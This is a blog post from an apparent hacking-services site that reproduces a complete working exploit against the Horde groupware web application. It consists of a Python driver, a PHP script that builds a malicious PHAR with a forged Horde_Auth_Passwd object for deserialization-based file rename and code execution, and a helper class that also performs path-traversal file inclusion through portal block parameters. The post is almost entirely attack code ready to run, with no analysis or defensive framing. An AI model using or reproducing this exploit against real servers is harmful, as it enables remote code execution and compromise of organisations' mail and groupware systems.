Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392044

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

## exploit-phar-loading.py
#!/usr/bin/env python3
from horde import Horde
import requests
import subprocess
import sys

TEMP_DIR = '/tmp'
WWW_ROOT = '/var/www/html'

if len(sys.argv) < 5:
    print('Usage: <base_url> <username> <password> <filename> <php_code>')
    sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

source = '{}/{}.phar'.format(TEMP_DIR, filename)
destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)
temp = 'temp.phar'
url = '{}/static/{}.php'.format(base_url, filename)

# log into the web application
horde = Horde(base_url, username, password)

# create a PHAR that performs a rename when loaded and runs the payload when executed
subprocess.run([
    'php', 'create-renaming-phar.php',
    temp, source, destination, php_code
], stderr=subprocess.DEVNULL)

# upload the PHAR
with open(temp, 'rb') as fs:
    phar_data = fs.read()
    horde.upload_to_tmp('{}.phar'.format(filename), phar_data)

# load the phar thus triggering the rename
horde.trigger_phar(source)

# issue a request to trigger the payload
response = requests.get(url)
print(response.text)
## exploit-phar-loading.py EOF




## create-renaming-phar.php
#!/usr/bin/env php
<?php

// the __destruct method of Horde_Auth_Passwd eventually calls
// rename($this->_lockfile, $this->_params['filename']) if $this->_locked
class Horde_Auth_Passwd {
    // visibility must match since protected members are prefixed by "\x00*\x00"
    protected $_locked;
    protected $_params;

    function __construct($source, $destination) {
        $this->_params = array('filename' => $destination);
        $this->_locked = true;
        $this->_lockfile = $source;
    }
};

function createPhar($path, $source, $destination, $stub) {
    // create the object and specify source and destination files
    $object = new Horde_Auth_Passwd($source, $destination);

    // create the PHAR
    $phar = new Phar($path);
    $phar->startBuffering();
    $phar->addFromString('x', '');
    $phar->setStub("<?php $stub __HALT_COMPILER();");
    $phar->setMetadata($object);
    $phar->stopBuffering();
}

function main() {
    global $argc, $argv;

    // check arguments
    if ($argc != 5) {
        fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");
        exit(1);
    }

    // create a fresh new phar
    $path = $argv[1];
    $source = $argv[2];
    $destination = $argv[3];
    $stub = $argv[4];
    @unlink($path);
    createPhar($path, $source, $destination, $stub);
}

main();
## create-renaming-phar.php EOF


## horde.py
import re
import requests

class Horde():
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.username = username
        self.password = password
        self.session = requests.session()
        self.token = None
        self._login()

    def _login(self):
        url = '{}/login.php'.format(self.base_url)
        data = {
            'login_post': 1,
            'horde_user': self.username,
            'horde_pass': self.password
        }
        response = self.session.post(url, data=data)
        token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
        assert (
            len(response.history) == 1 and
            response.history[0].status_code == 302 and
            response.history[0].headers['location'] == '/services/portal/' and
            token_match
        ), 'Cannot log in'
        self.token = token_match.group(1)

    def upload_to_tmp(self, filename, data):
        url = '{}/turba/add.php'.format(self.base_url)
        files = {
            'object[photo][img][file]': (None, filename),
            'object[photo][new]': ('x', data)
        }
        response = self.session.post(url, files=files)
        assert response.status_code == 200, 'Cannot upload the file to tmp'

    def include_remote_inc_file(self, path):
        # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
        app = 'trean:trean_Block_Bookmarks'

        # add one dummy bookmark (to be sure)
        url = '{}/trean/add.php'.format(self.base_url)
        data = {
            'actionID': 'add_bookmark',
            'url': 'x'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark'

        # add bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save-resume',
            'app': app,
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark block'

        # edit bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save',
            'app': app,
            'params[template]': '../../../../../../../../../../../' + path
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot edit the bookmark block'

        # evaluate the remote file
        url = '{}/services/portal/'.format(self.base_url)
        response = self.session.get(url)
        print(response.text)

        # remove the bookmark block so to not break the page
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            # XXX token not needed here
            'row': 0,
            'col': 0,
            'action': 'removeBlock'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot reset the bookmark block'

    def trigger_phar(self, path):
        # vulnerable block (alternatively the same can be obtained by creating a
        # bookmark with the PHAR path and clocking on it)
        app = 'horde:horde_Block_Feed'

        # add syndicated feed block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save-resume',
            'app': app,
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the syndicated feed block'

        # edit syndicated feed block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save',
            'app': app,
            'params[uri]': 'phar://{}'.format(path)
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot edit the syndicated feed block'

        # load the PHAR archive
        url = '{}/services/portal/'.format(self.base_url)
        response = self.session.get(url)

        # remove the syndicated feed block so to not break the page
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            # XXX token not needed here
            'row': 0,
            'col': 0,
            'action': 'removeBlock'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF